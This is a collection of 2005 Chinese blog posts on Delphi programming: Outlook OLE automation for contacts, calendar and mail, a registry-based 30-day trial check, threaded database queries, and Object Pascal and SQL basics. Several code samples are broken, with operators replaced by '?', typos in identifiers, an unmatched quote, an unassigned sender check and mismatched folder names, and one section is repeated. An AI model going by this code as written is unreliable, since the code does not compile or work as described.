　　　　　CurrentContact.BusinessAddressCity;

　　　　　FieldByName('BusAddrState').AsString :=

　　　　　CurrentContact.BusinessAddressState;

　　　　　FieldByName('BusAddrPostalCode').AsString :=

　　　　　CurrentContact.BusinessAddressPostalCode;

　　　　　FieldByName('BusinessPhone').AsString :=

　　　　　CurrentContact.BusinessTelephoneNumber;

　　　　　Post;

　　　　　CurrentContact := ContactItems.FindNext;

　　　　end; // while

　　　　EnableControls;

　　　end; // with

　　　{ 关闭Outlook }

　　　OutlookApp := Unassigned;

　　end;

　　上面代码运行的基本步骤同前面的一样，不同之处在于先获取联系人目录的Items集合，然后调用Find 方法根据属性的组合来定位集合中特殊的项目，比如：

　　CurrentContact := ContactItems.Find(' [CompanyName] = ' +

　　　　　　　　　 QuotedStr('Borland International'));

　　就是查找CompanyName 属性为Borland International的联系人。如果没有找到匹配的联系人，CurrentContact就为空值。while循环利用FindNext来遍历并匹配联系人，并把联系人的全部属性插入到数据库中。

　　创建新的联系人目录和记录也非常简单，下面的代码可以复制全部的Borland公司雇员联系信息到一个新的目录：

　　procedure TCreateFolderFrom.CreateBtnClick(Sender: TObject);

　　const

　　　olFolderContacts = 10;

　　　olContactItem = 2;

　　var

　　　OutlookApp, Mapi,

　　　NewContact, BorlandContacts,

　　　ContactItems, CurrentContact:　 Variant;

　　　I, ToRemove:　　　　 Integer;

　　begin

　　　OutlookApp := CreateOleObject('Outlook.Application');

　　　Mapi := OutlookApp.GetNameSpace('MAPI');

　　　ContactItems := Mapi.Folders('个人文件夹').Folder('联系人').Items;

　　　{ 删除测试文件夹 }

　　　ToRemove := 0;

　　　for I := 1 to Mapi.Folders('Personal Folders').Folders.Count do

　　　if Mapi.Folders('个人文件夹').Folders(I).Name ='Borland 联系人' then

　　　begin

　　　　ToRemove := I;

　　　　Break;

　　　end; // if

　　　if ToRemove <> 0 then

　　　　Mapi.Folders('Personal Folders').Folders.Remove(ToRemove);

　　　　{ 创建新的文件夹 }

　　　　Mapi.Folders('个人文件夹').Folders.Add('Borland 联系人', olFolderContacts);

　　　　BorlandContacts := Mapi.Folders('Personal Folders').Folders('Borland Contacts');

　　　　{ 添加联系人到新的目录 }

　　　　CurrentContact := ContactItems.Find('[CompanyName] = ' +

　　　　　 QuotedStr('Borland International'));

　　　while not VarIsEmpty(CurrentContact) do

　　　begin

　　　　{ 添加新的项目 }

　　　　NewContact := BorlandContacts.Items.Add;

　　　　{ 设定属性 }

　　　　NewContact.FullName := 'John Doe';

　　　　NewContact.LastName := CurrentContact.LastName;

　　　　NewContact.FirstName := CurrentContact.FirstName;

　　　　NewContact.CompanyName := CurrentContact.CompanyName;

　　　　NewContact.BusinessAddressStreet :=

　　　　CurrentContact.BusinessAddressStreet;

　　　　NewContact.BusinessAddressPostOfficeBox :=

　　　　CurrentContact.BusinessAddressPostOfficeBox;

　　　　NewContact.BusinessAddressCity :=

　　　　CurrentContact.BusinessAddressCity;

　　　　NewContact.BusinessAddressState :=

　　　　CurrentContact.BusinessAddressState;

　　　　NewContact.BusinessAddressPostalCode :=

　　　　CurrentContact.BusinessAddressPostalCode;

　　　　NewContact.BusinessTelephoneNumber :=

　　　　CurrentContact.BusinessTelephoneNumber;

　　　　{ 保存记录 }

　　　　NewContact.Save;

　　　　{ 查找联系人目录中下一个记录}

　　　　CurrentContact := ContactItems.FindNext;

　　　end; // while

　　　OutlookApp := Unassigned;

　　end;

　　上面的代码流程就是先在Folders 集合中查找Borland 联系人目录，如果找到了就调用Folders 的Remove方法删除之。然后调用Folders 对象的Add 方法创建一个新的Borland 联系人文件夹。Add方法需要两个参数：第一个是要创建的目录名；第二个是文件夹类型（可以是olFolderCalendar、olFolderContacts、olFolderInbox、olFolderJournal、olFolderNotes或olFolderTasks类型）。

　　接下来调用联系人目录的Items对象的Find方法来定位Borland雇员的信息记录。然后调用新建的Borland联系人目录的Items对象的Add方法来添加在联系人目录中找到的记录。最后调用新添记录的Save方法来保存添加的信息。

其他Outlook对象

　　个人文件夹的Folders 集合还包括下列文件夹：已删除邮件；收件箱；发件箱；已发送邮件；日历；日记；便笺；任务；草稿。

　　我们可以使用类似的方法来操作任意对象的Items 集合，它们的区别只是集合项目的属性不同，下面的代码演示了如何把约会中的全部起始时间定为大于99/04/27，并且把全天约会的信息复制到数据库的方法。注意这里使用比前面要复杂的查找表达式，查找表达式支持>，<，>=，<=，=和<>操作符以及and，or和not逻辑操作符。

　　procedure TLoadTableForm.LoadBtnClick(Sender: TObject);

　　var

　　　OutlookApp,　Mapi,

　　　ApptItems,　CurrentAppt: Variant;

　　begin

　　　OutlookApp := CreateOleObject('Outlook.Application');

　　　Mapi := OutlookApp.GetNameSpace('MAPI');

　　　pptItems := Mapi.Folders('Personal Folders').Folders('Calendar').Items;

　　　with ApptTable do

　　　begin

　　　　EmptyTable;

　　　　Open;

　　　　DisableControls;

　　　　CurrentAppt := ApptItems.Find('[Start] > ' +

　　　　　 "4/27/99" and [AllDayEvent] = True');

　　　　while not VarIsEmpty(CurrentAppt) do

　　　　begin

　　　　　Insert;

　　　　　FieldByName('Start').AsDateTime := CurrentAppt.Start;

　　　　　FieldByName('Subject').AsString := CurrentAppt.Subject;

　　　　　FieldByName('End').AsDateTime := CurrentAppt.End;

　　　　　FieldByName('Busy').AsBoolean := CurrentAppt.BusyStatus;

　　　　　Post;

　　　　　CurrentAppt := ApptItems.FindNext;

　　　　end; // while

　　　　EnableControls;

　　　end; // with

　　　OutlookApp := Unassigned;

　　end;

邮件查看器

　　毫无疑问，Outlook最大的用处还是在于它的邮件处理功能，通过自动化可以方便地使用Outlook强大的功能，下面就来编写一个邮件查看器。首先新建一个项目，然后在窗体上放置一个TOutLine和 TButton。接着声明一个TItem类用来保存对邮件的引用，类定义如下：

　　TItem = class(TObject)

　　　Letter: OleVariant;

　　　name: string;

　　end;

　　在窗体类声明的public部分添加下列变量：

　　public

　　　{ Public declarations }

　　　OlApp, NameSpace, root: OleVariant;

　　　List: Tlist;

　　　Item: TItem;

　　　icount: integer;

　　end;

　　然后在窗体的Oncreate事件中初始化TList用来维护邮件列表：

　　procedure TForm1.FormCreate(Sender: TObject);

　　begin

　　　List := TList.Create;

　　　Item := TItem.Create;

　　　icount := 0;

　　end;

　　然后编写Button的OnClick事件，来建立文件夹树视图：

　　procedure TForm1.Button1Click(Sender: TObject);

　　　procedure scan(ol: TOutline; root: OleVariant; s: string);

　　var

　　　i, j, k: integer;

　　　bcount, rcount: integer;

　　　branch, MAPIFolder: olevariant;

　　　line: string;

　　begin

　　　line := '';

　　　rcount := root.count;

　　　for i := 1 to rcount do

　　　begin

　　　　line := s + root.item[i].name;

　　　　ol.Lines.Add(line);

　　　　List.Add(TItem.Create);

　　　　Item := List.items[List.count - 1];

　　　　Item.name := 'Folder';

　　　　branch := root.item[i].folders;

　　　　bcount := branch.count;

　　　　MAPIFolder := Namespace.GetFolderFromId(root.item[i].EntryID,

　　　　　root.item[i].StoreID);

　　　　if MAPIFolder.Items.count > 0 then

　　　　for j := 1 to MAPIFolder.Items.count do

　　　　begin

　　　　　ol.Lines.Add(s + ' ' + MAPIFolder.Items[j].subject);

　　　　　List.Add(TItem.Create);

　　　　　Item := List.items[List.count - 1];

　　　　　Item.name := 'File';

　　　　　Item.Letter := MAPIFolder.Items[j];

　　　　end;

　　　　if bcount > 0 then

　　　　begin

　　　　　scan(ol, branch, s + ' ');

　　　　end;

　　　end;

　　end;

　　begin

　　　oline_outlook.Lines.Clear;

　　　OlApp := CreateOleObject('Outlook.Application');

　　　Namespace := OlApp.GetNameSpace('MAPI');

　　　root := Namespace.folders;

　　　scan(oline_outlook, root, '');

　　end;

　　首先获得文件夹集合，然后在for循环中扫描每个子文件夹，添加信息，如果还有下级子目录，就递归调用：

　　　if bcount > 0 then

　　　begin

　　　　scan(ol, branch, s + ' ');

　　　end;

　　当双击时，需要显示邮件内容，编写OutLine的doubleClick事件，用Showmessage显示邮件内：

　　procedure TForm1.oLine_OutLookDblClick(Sender: TObject);

　　begin

　　　Item := List.items[oline_outlook.SelectedItem - 1];

　　　//body对应邮件内容

　　　if Item.name = 'File' then ShowMessage(Item.Letter.Body);

　　end;

　　最后不能忘了在退出程序时释放资源，编写窗体的OnCloseQuery事件处理函数：

　　procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);

　　var

　　　i: integer;

　　begin

　　　for i := List.Count - 1 downto 0 do

　　　begin

　　　　Item := List.Items[i];

图1.33

　　　　Item.Free;

　　　end;

　　　List.Free;

　　end;

　　最后的程序运行结果如图1.33所示。

发送邮件

　　下面代码演示了如何发送带附件的邮件：

　　const

　　　olByValue = 1;

　　　olByReference = 4;

　　　olEmbeddedItem = 5;

　　　olOLE = 6;

　　　olMailItem = 0;

　　　olAppointmentItem = 1;

　　　olContactItem = 2;

　　　olTaskItem = 3;

　　　olJournalItem = 4;

　　　olNoteItem = 5;

　　　olPostItem = 6;

　　　olFolderDeletedItems = 3;

　　　olFolderOutbox = 4;

　　　olFolderSentMail = 5;

　　　olFolderInbox = 6;

　　　olFolderCalendar = 9;

　　　olFolderContacts = 10;

　　　olFolderJournal = 11;

　　　olFolderNotes = 12;

　　　olFolderTasks = 13;

　　function SendMailWithAttachments(Email, Subject : string; Body : Widestring ; Filename : string): boolean;

　　var

　　　outlook : variant;

　　　item : variant;

　　begin

　　　try

　　　　outlook := CreateOLEObject('outlook.application');

　　　　try

　　　　　item := outlook.CreateItem(olMailItem);

　　　　　item.Subject := Subject;

　　　　　item.Body　　:= Body;

　　　　　item.Attachments.Add(FileName,1,1,FileName);

　　　　　item.To := email;

　　　　　item.Send;

　　　　　finally

　　　　// 确保Outlook不保持打开状态

　　　　outlook.quit;

　　　end;

　　　except

　　　　result := false;

　　　　exit;

　　　end;

　　　result := true;

　　end;

　　函数用法：

　　SendMailWithAttachments('Info@outlook.com', 'SendMail function', 'Test !', 'd:\test.doc');

　　注意上面我们使用CreateItem来创建一个mail项目，olMailItem等常数是从office带的帮助中复制过来的。

备份邮件中的附件

　　下面的函数根据发送者名字或mail地址，备份相应的附件到指定的目录下，并可根据输入参数MailDelete删除相应邮件：

　　function ManageAttachments(SendersName, AttachmentPath : string; MailDelete : boolean):boolean;

　　var

　　　oApp : variant;

　　　oNs : variant;

　　　oFolder : variant;

　　　oMsg : variant;

　　　AtC : variant;

　　　AttFilename : variant;

　　　filename : string;

　　　CheckSender : string;

　　　Counter : integer;

　　　MailCounter : integer;

　　begin

　　　try

　　　　oApp := CreateOLEObject('outlook.application');

　　　　try

　　　　　oNs := oApp.GetNamespace('MAPI');

　　　　　//收件箱

　　　　　ofolder := oNS.GetDefaultFolder(olFolderInbox);

　　　　　MailCounter := 1;

　　　　　// 如果有邮件在收件箱中

　　　　　if ofolder.items.count > 0 then

　　　　　begin

　　　　　　repeat

　　　　　　//获得第一封信

　　　　　　oMsg := ofolder.items(MailCounter);

　　　　　　//检查发信人姓名或地址

　　　　　　if CheckSender = SendersName then

　　　　　　begin

　　　　　　　// 检查附件数

　　　　　　　atc := oMsg.Attachments.count;

　　　　　　　if atc > 0 then

　　　　　　　begin

　　　　　　　　// 保存全部附件

　　　　　　　　for Counter := 1 to atc do

　　　　　　　　begin

　　　　　　　　　AttFilename := oMsg.Attachments.item(Counter).filename;

　　　　　　　　　filename:= ncludeTrailingBackslash(AttachmentPath) +AttFilename;

　　　　　　　　　oMsg.Attachments.Item(Counter).SaveAsFile(filename);

　　　　　　　　end;

　　　　　　　end;

　　　　　　　if MailDelete then

　　　　　　　begin

　　　　　　　　oMsg.delete;

　　　　　　　　dec(MailCounter);

　　　　　　　end;

　　　　　　end;

　　　　　　// 获取下一封信

　　　　　　inc(MailCounter);

　　　　　　until MailCounter > ofolder.items.count;

　　　　　end;

　　　　　finally

　　　　　oApp.quit;

　　　　end;

　　　　except

　　　　result := false;

　　　　exit;

　　　end;

　　　result := true;

　　end;

　　用法：

　　ManageAttachments('info@outlook.com','F:\test',false);

结论

　　总之清楚地了解Outlook的对象体系后，我们就可以通过自动化轻松地控制Outlook，实现提取各项信息，添加新的用户，发送邮件信息等各项强大的功能。

cyberfan 2005-08-12 16:07 发表评论

Delphi程序的时限和加密

cyberfan — Fri, 12 Aug 2005 08:06:00 GMT

本例中TRegistry是关键类，Delphi 4.0不能自行加入，需在uses部分手工加入"registry"，通过其方法"ReadString"和"WriteString"来读出和写入字符，亦可通过其方法"ReadDate"和"WriteDate"来读出和写入日期。

程序第一次运行就写入其运行时间，应用期限为30天，超过30天就不再运行。全局变量NoRegistry、SpareDays来分别判断是否注册和剩余期限，自定义函数Encrypt为用户名到密码的变换函数。

一、程序启动时，通过搜索注册表，判断是否第一次运行和是否注册，来确定程序是否运行。

procedure TForm1.FormCreate(Sender: TObject);

var

Reg:Tregistry;

KeyName,TempCode,TempName,TempStr:string;

Same:Integer;

FirstDate,NowDate:Tdatetime;

NumberOfDays:real;

begin

NoRegistry:=true;

NowDate:=date; //取得运行时系统日期

try

//创建注册表，有该键则读取，无则创建

Reg:=Tregistry.Create ;

Reg.RootKey :=hkey_local_machine;

KeyName:='Software\jsjb\Example';

if Reg.OpenKey(KeyName,true) then

begin

TempName:=Reg.ReadString('UsrName');

TempCode:=Reg.ReadString('Passwd');

//读取用户名，注册号

try

FirstDate:=Reg.ReadDate('Date');

//非第一次则读入第一次运行时间

except

Reg.WriteDate('Date',NowDate);

// 若为第一次运行，则写入系统日期

FirstDate:=NowDate;

end;

end ;

reg.CloseKey ;

finally

reg.Free ;

end;

TempStr:=Encrypt(TempName);

//通过自定义函数Encrypt（）来获取密码

Same:=CompareText(TempStr,TempCode);

//比较密码

if TempName<>'' then

if Same=0 then

NoRegistry:=false;

//验证密码，通过NoRegistry为false

if NoRegistry then

begin //若未注册...

NumberOfDays:=Nowdate-FirstDate;

SpareDays:=round(31-NumberOfDays);

Label1.Caption :=FloatToStr(SpareDays);

if((NumberOfDays>31) or (NumberOfDays<-1)) then

begin

showmessage('程序未注册超过试用期或更改系统时间，将终止运行!');

application.Terminate;//超过30天，则禁止运行
end;

end;

end;

二、注册过程，其响应入口可放于"About"内。

procedure TAbout.Button1Click(Sender: TObject);

var

InptName,InptCode,RealCode:String;

Same:Integer;

Reg:Tregistry;

Keyname:String;

begin

if NoRegistry then //未注册时做

begin

RealCode:='';

InptName:= InputBox('注册', '输入你的名字', '');

if InptName<>'' then

begin

InptCode:= InputBox('注册', '输入注册号', '');

RealCode:=Encrypt(InptName);

Same:=CompareText(RealCode,InptCode);

if (Same<>0) then

showmessage('注册号码不对,注册未成功！')

else

begin

//密码匹配时做：把用户名、密码写入注册表

Try

Reg:=Tregistry.Create ;

Reg.RootKey :=hkey_local_machine;

KeyName:='Software\jsjb\Example';

if Reg.OpenKey(KeyName,true) then

begin

Reg.WriteString('Passwd',InptCode);

Reg.WriteString('UsrName',InptName);

end;

reg.CloseKey ;

finally

Reg.Free ;

end;

NoRegistry:=false;

//可修改注册后的界面

end;

end;

end;

end;

三、密码的变换函数。此变换函数可由读者自由发挥，在此，仅示一例而已。

Function TForm1.Encrypt(TempStr:string):string;

Var

Str1:String;

i,j:Integer;

Begin

Str1:='';

For i:=1 to Length(TempStr) do

begin

j:=(i?i?i?i mod (i+30))+(i?i mod (i+20))+i?3+1;

Str1:=Str1+chr(ord(TempStr[i])+j);

j:=(i?i?i?i mod (i+30))+(i?i mod (i+20))+i?3+1;

Str1:=Str1+chr(ord(TempStr[i])+j);

End;

Result:=Str1;

end;

此程序在Windows98，Delphi 4.0下调试通过。

cyberfan 2005-08-12 16:06 发表评论

Delphi中实现多线程同步查询

cyberfan — Fri, 12 Aug 2005 08:05:00 GMT

优秀的数据库应用应当充分考虑数据库访问的速度问题。通常可以通过优化数据库、优化查询语句、分页查询等途径收到明显的效果。即使是这样，也不可避免地会在查询时闪现一个带有 SQL符号的沙漏，即鼠标变成了查询等待。最可怜的是用户，他（她）在此时只能无奈地等待。遇到急性子的，干脆在此时尝试 Windows中的其它应用程序，结果致使你的数据库应用显示一大片白色的窗口。真是无奈！

本文将以简单的例子告诉你如何实现线程查询。还等什么，赶快打开Delphi对照着下面的完整源代码试试吧。

在查询时能够做别的事情或者取消查询，这只是基本的线程查询，在你阅读了Delphi有关线程帮助之后能立刻实现。这里介绍的是多个线程查询的同步进行。

在Delphi数据库应用中，都有一个缺省的数据库会话 Session。通常情况下，每个数据库应用中只有这一个会话。无论是查询函数修改数据，在同一时间内只能进行其中的一件事情，而且进行这一件事情的时候应用程序不能响应键盘、鼠标以及其它的 Windows消息。这就是在窗口区域会显示一片空白的原因所在。当然，只要将查询或数据操纵构造成线程对象，情况会好一些，至少可以接受窗口消息，也可以随时终止查询或数据操纵，而不会在屏幕上显示出太难看的白色。不过，这只是解决了问题的一部分。假如在进行一个线程查询的时候，用户通过按钮或菜单又发出了另一个查询的命令，这可如何是好，难道终止正在执行的数据库访问吗？解决之道就是：多线程同步查询。

实现多线程同步查询的基本思想是，为每一个查询组件（如TQuery组件）创建一个独占的数据库会话，然后各自进行数据库访问。需要特别注意的是，因为Delphi中的 VCL组件大多都不是线程安全的，所以应当在线程查询结束后再将DataSource组件与查询组件关联，从而显示在DBGrid组件中。

下面的例子只实现了静态的线程同步查询，即线程对象是固定的，并随窗体的创建和销毁而创建和销毁。你可以就此进行改进，为每一个数据查询或数据操纵命令创建一个单独的线程对象，从而达到多线程同步查询的目的。

注意：应用程序中的线程不是越多越好，因为线程将严重吞噬CPU资源，尽管看上去并不明显。谨慎创建和销毁线程将避免你的应用程序导致系统资源崩溃。

下面的例子给出了同时进行的两个线程查询。第一次按下按钮时，线程开始执行；以后每次按下按钮时，如果线程处于挂起状态则继续执行，否则挂起线程；线程执行完毕之后将连接 DataSource，查询结果将显示在相应的DBGrid中。

{ 这里的多线程同步查询演示程序仅包括一个工程文件和一个单元文件 }

{ 窗体中放置的组件有： }

{ 两个Session组件 }

{ 两个Database组件 }

{ 两个Query组件 }

{ 两个DataSource组件 }

{ 两个DBGrid组件 }

{ 一个Button组件 }

{ 除非特别说明，否则上述各组件的属性都取默认值（见各组件注释） }

{ 对于Database组件，就和一般设置一样，有一个正确的连接即可 }

{ 对于Query 组件，需要在各自的属性 SQL中添加一些查询语句，为了 }

{ 看得更清除，建议不要在两个Query 组件中填写相同的查询语句。 }

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Db, DBTables, Grids, DBGrids, StdCtrls;

type
TForm1 = class(TForm)
Session1: TSession; { 属性SessionName填写为S1 }
Database1: TDatabase; { 属性SessionName选择为S1 }
Query1: TQuery;{ 属性Database选择为Database1；属性SessionName选择为S1 }
DataSource1: TDataSource; { 属性DataSet设置为空 }
DBGrid1: TDBGrid; { 属性DataSource选择为DataSource1 }
Session2: TSession; { 属性SessionName填写为S2 }
Database2: TDatabase; { 属性SessionName选择为S2 }
Query2: TQuery;{ 属性Database选择为Database2；属性SessionName选择为S2 }
DataSource2: TDataSource; { 属性DataSet设置为空 }
DBGrid2: TDBGrid; { 属性DataSource选择为DataSource2 }
BtnGoPause: TButton; { 用于执行和挂起线程 }
procedure FormCreate(Sender: TObject); { 创建窗体时创建线程对象 }
procedure FormDestroy(Sender: TObject); { 销毁窗体时销毁线程对象 }
procedure BtnGoPauseClick(Sender: TObject); { 执行线程和挂起线程 }
private
public
end;

TThreadQuery = class(TThread) { 声明线程类 }
private
FQuery: TQuery; { 线程中的查询组件 }
FDataSource: TDataSource; { 与查询组件相关的数据感知组件 }
procedure ConnectDataSource;{ 连接数据查询组件和数据感知组件的方法 }
protected
procedure Execute; override;{ 执行线程的方法 }
public
constructor Create(Query: TQuery;
DataSource: TDataSource); virtual; { 线程构造器 }
end;

var
Form1: TForm1;
Q1, { 线程查询对象1 }
Q2: TThreadQuery; { 线程查询对象2 }

implementation

{$R *.DFM}

{ TThreadQuery类的实现 }

{ 连接数据查询组件和数据感知组件}
procedure TThreadQuery.ConnectDataSource;
begin
FDataSource.DataSet := FQuery;{ 该方法在查询结束后才调用 }
end;

procedure TThreadQuery.Execute;{ 执行线程的方法 }
begin
try
FQuery.Open; { 打开查询 }
Synchronize(ConnectDataSource);{ 线程同步 }
except
ShowMessage('Query Error'); { 线程异常 }
end;
end;

{ 线程查询类的构造器 }
constructor TThreadQuery.Create(Query: TQuery; DataSource: TDataSource);
begin
FQuery := Query;
FDataSource := DataSource;
inherited Create(True);
FreeOnTerminate := False;
end;

{ 创建窗体时创建线程查询对象 }
procedure TForm1.FormCreate(Sender: TObject);
begin
Q1 := TThreadQuery.Create(Query1, DataSource1);
Q2 := TThreadQuery.Create(Query2, DataSource2);
end;

{ 销毁窗体时销毁线程查询对象 }
procedure TForm1.FormDestroy(Sender: TObject);
begin
Q1.Terminate; { 销毁之前终止线程执行 }
Q1.Destroy;
Q2.Terminate; { 销毁之前终止线程执行 }
Q2.Destroy;
end;

{ 开始线程、继续执行线程、挂起线程 }
procedure TForm1.BtnGoPauseClick(Sender: TObject);
begin
if Q1.Suspended then Q1.Resume else Q1.Suspend;
if Q2.Suspended then Q2.Resume else Q2.Suspend;
end;

end.

cyberfan 2005-08-12 16:05 发表评论

delphi－object pascal语言

cyberfan — Fri, 12 Aug 2005 08:04:00 GMT

一、数据类型：
(1) 基本数据类型：
a、整数类型： (通用类型<32位>：Integer－有符号；Cardinal－无符号)
具体：
有符号：Shortint<8位>，Smallint<16位>，Longint<32位 >
无符号：Byte<8位>，Word<16位>，LongiWord<32位 >

b、字符类型： (通用类型<8位>：Char －与AnsiChar等同)
具体：
AnsiChar<8位> ：主要存放Ansi字符
WideChar<16位>：主要存放Unicode字符

c、布尔类型： (通用类型<8位>：Boolean－与ByteBool等同)
具体：
ByteBool<8位>，WordBool<16位>，LongBool<32位>
不同的布尔类型主要用于鱼其它编程语言及不同windows系统兼容。

d、枚举类型：
定义：type 枚举类型标识符＝(key1[=val1],.。。。，keyn[=valn]) ：n<=255
如果给某些key指定了值，则未指定值的key是前一个key值加1；
如果全部默认不指定值，则key1值为0，往后逐个加1。

e、子界类型：
定义：type 子界类型标识符＝下界．．下界
如：type SubInt＝1．．3 0；表示 1～30的整数
type SubChar＝'a'．．'z'；表示字符

※注：1、以上四种类型称为有序类型，即除第一个数为都有先行数、除最后一个数外都有后继数。在这里

(计算机里)，整数是有限的。有序类型的数都有一个序号，称为序数。整数的序数为其本身，其他类型第一

个数序数为0，依次递增。
2、子界类型上、下界必须是有同一有序类型，且上界序数大于下界序数。

f、浮点类型： (通用类型<8字节>：Real－与Double等同)
具体：
Double<8字节>，Real48<6字节>Single<4字节>,
Extended<10字节>，Comp<8字节>，Currency<8字节>

g、字符串类型： (通用类型：String－与AnsiString等同)
具体：
ShortString ：最多存放255个字符，第一个自己存放字符个数，不以NULL结尾
AnsiString ：存放Ansi字符，以NULL结尾
WideString：存放Unicode字符，以NULL结尾

h、时间、日期类型：TDateTime －实际是浮点类型的别称

(2)复杂数据类型：
a、指针类型：
定义：type 指针类型标识符＝^基本类型；
内在分配：New() 内存释放：Destroy()
对于Pointer 和PChar 用GetMem()或AllocMem()分配内存，用FreeMem()释放内存
分配内存后，就可以当成基本类型一样使用：指针类型标识符^

实际上常如下运用指针：
var 变量标识符：^基本类型；
为变量分配内存后就可以将(变量标识符^)当成普通变量使用。

b、记录类型：
定义：type 记录类型标识符＝Record
字段1：类型；
．．．
字段n：类型；
end；

c、集合类型：
定义： type 集合类型标识符＝Set of 基本类型的子集或子界类型；(<=255个元素)

d、变体(通用)类型： Variant；

(3)数组类型：
a、一维数组：
定义：type 数组标识符＝Array[下标下限．．下标上限] of 基本类型；

b、多位数组：
定义： type 数组标识符＝Array[下限1．．上限１，．．．，下限n．．上限n] of 基本类型；

c、动态数组(变量)：
var 标识符：array of 基本类型；
SetLength(标识符，个数）；//分配空间
标识符:=nil；//释放

二、语句
首先要说一下begin ... end；相当于c或者c＋＋中的{ ... }。
(1)声明语句
常量const 常量标识符[:类型]=常值；
变量：var 变量标识符：数据类型；

(2)表达式语句
由运算符组成的合法语句
运算符优先级：运算符优先级
@ not 1 (最高)
*,/,div,mod,and,shl,shr,as, 2
+,-,or,xor 3
>,<,>=,<=,<>,=,in,is, 4 (最低)

(3) with ... do ... end 语句
主要在操作记录类型或组件时使用。
示例：type people=Record //定义记录people
name:string;
addr:string;
age:integer;
sex:string;
end;
var Me：People； //定义people型的变量
with Me do
begin
name:='Paul';
addr:='Guangzhou';
age:=23;
sex:='male';
end;

(4)goto 语句
现在所有声音都是说要减少goto语句是使用，所以尽量少用为是。
示例：
Label MyLabel; //用Label保留字声明MyLabel

MyLabel： //标记
、、、 //其它语句
goto MyLabel； //跳转到MyLabel 处

(5)条件语句
a、if ... then ... 语句
if 布尔表达式 then ..;
或 if 布尔表达式 then
begin
...
end；
其它格式：
if ... then... else ...;
if ... then .. else if ... then ... else ...;

b、case ... of 语句
case 表达式 of
值1：...
值2：...
...
值n：...
end;

6)循环语句
a、for ... to ... do 语句
for 循环变量:=初值 to 终值 do ...;
或 for 循环变量:=初值 to 终值 do
begin
。。。
end；

b、while ... do 语句
while 布尔表达式 do ...;
或 while 布尔表达式 do
begin
...
end;

c、repeat ... until 语句
repeat ... until 布尔表达式；

(7)循环的中断
break：循环结束
continue：结束本次循环
goto：(略)
exit：退出当前函数或过程
halt()：终止整个程序，参数为整数
RunError()：(略)

三、过程与函数
(1) 过程(无返回值)
声明： procedure <过程名> (<参数列表>);

(2)函数(有返回值)
声明： function <函数名> (<参数列表>)：返回值类型；
用Result 或 <函数名>返回函数值；
即在函数中用 Result：＝函数值；或 <函数名>：＝函数值；返回；

二、语句
首先要说一下begin ... end；相当于c或者c＋＋中的{ ... }。
(1)声明语句
常量：const 常量标识符[:类型]=常值；
变量：var 变量标识符：数据类型；

(2)表达式语句
由运算符组成的合法语句
运算符优先级：运算符优先级
@ not 1 (最高)
*,/,div,mod,and,shl,shr,as, 2
+,-,or,xor 3
>,<,>=,<=,<>,=,in,is, 4 (最低)

(3) with ... do ... end 语句
主要在操作记录类型或组件时使用。
示例：type people=Record //定义记录people
name:string;
addr:string;
age:integer;
sex:string;
end;
var Me：People； //定义people型的变量
with Me do
begin
name:='Paul';
addr:='Guangzhou';
age:=23;
sex:='male';
end;

(4)goto 语句
现在所有声音都是说要减少goto语句是使用，所以尽量少用为是。
示例：
Label MyLabel; //用Label保留字声明MyLabel

MyLabel： //标记
、、、 //其它语句
goto MyLabel； //跳转到MyLabel 处

(5)条件语句
a、if ... then ... 语句
if 布尔表达式 then ..;
或 if 布尔表达式 then
begin
...
end；
其它格式：
if ... then... else ...;
if ... then .. else if ... then ... else ...;

b、case ... of 语句
case 表达式 of
值1：...
值2：...
...
值n：...
end;

6)循环语句
a、for ... to ... do 语句
for 循环变量:=初值 to 终值 do ...;
或 for 循环变量:=初值 to 终值 do
begin
。。。
end；

b、while ... do 语句
while 布尔表达式 do ...;
或 while 布尔表达式 do
begin
...
end;

c、repeat ... until 语句
repeat ... until 布尔表达式；

(7)循环的中断
break：循环结束
continue：结束本次循环
goto：(略)
exit：退出当前函数或过程
halt()：终止整个程序，参数为整数
RunError()：(略)

三、过程与函数
(1) 过程(无返回值)
声明： procedure <过程名> (<参数列表>);

(2)函数(有返回值)
声明： function <函数名> (<参数列表>)：返回值类型；
用Result 或 <函数名>返回函数值；
即在函数中用 Result：＝函数值；或 <函数名>：＝函数值；返回；

cyberfan 2005-08-12 16:04 发表评论

SQL在Delphi数据库程序设计应用浅谈

cyberfan — Fri, 12 Aug 2005 08:04:00 GMT

学习Delphi有一个星期了，Delphi是Pascal的派生，可是说学过pascal到学起来很容易，当然我学过VB（visual basic），当然相对来说比较熟悉这门语言，可是时间长了不学也忘记了好多，但是学习Delphi上手快多了，尤其是我现在学的这本书是关于Delphi数据库设计，学习的过程中好多当年学VB时候那些捆绑数据库控件比如：ADO等都浮现在脑海中，所以学起来很轻松，但是设计到应用程序和语法还有待于进一步学习。

现在想谈谈学习SQL命令与ADOquery组件，SQL的Select语句以及动态执行SQL语句命令，这里SQL(Structrue Query Language)，是一种结构化查询语言，对我来说有这方面的基础，运用起来比较快。当然注意的是这里是通过ADOquery组件属性中ConnectiongString连接到相应的数据库的，在窗体中加入了三个组件：ADOquery、DataSource、DBGrid,当你拖一个DataSource组件时，它的名称是DataSource1把它的属性DataSet设置为ADOquery1；DBGrid1的属性DataSource设置为DataSource1,说到这里使我想起来程序组件与数据库之间的关系，也就是说为什么要拖这些组件，它们之间有什么样的一个解析关系呢？如下图所示

Table/ADOTable DataSource DBGrid.......

连接组件------------->解析组件----------->感知组件

组件间的关系

说明一下：数据库程序设计里最重要的关键组件就是与数据库连接的Table组件（Ttable或TADOTable组件），这个数据库连接组件负责连接数据库文件中的表。我们要新增、删除、编辑、取用数据的操作也都必须通过此组件的相关方法、属性、事件，这里我们只要连接上就行了，其他的无需关心。当连接组件连接数据库文件中的表后，这个表的内容并无法连接组件直接交付给数据库感知组件（如DBGrid）显示出来，必须交由DataSource组件来解析表的内容，然后才将解析后的表的内容交付给数据库感知组件（如DBGrid）显示出来，也就是如上图所示的。当然感知组件也有DBNavigator这些都可以通过解析后显示数据，但具体的还要编写程序语句来完成。

说到这里我还是要继续进入SQL操作，这是最重要的，我个人认为。SQL的Select是很重要的，大家一定要参考一些数据库方面的书籍多看，最好是在上机的环境下调试。比如：改变字段名称这也是很重要的，一般我们在做项目的时候，数据库中的表的字段都是英文，但是在显示的时候为了让人们熟悉这就要以中文的形式显示一下了。象order by排序，Where条件筛选等都要很熟悉这些基本的操作。

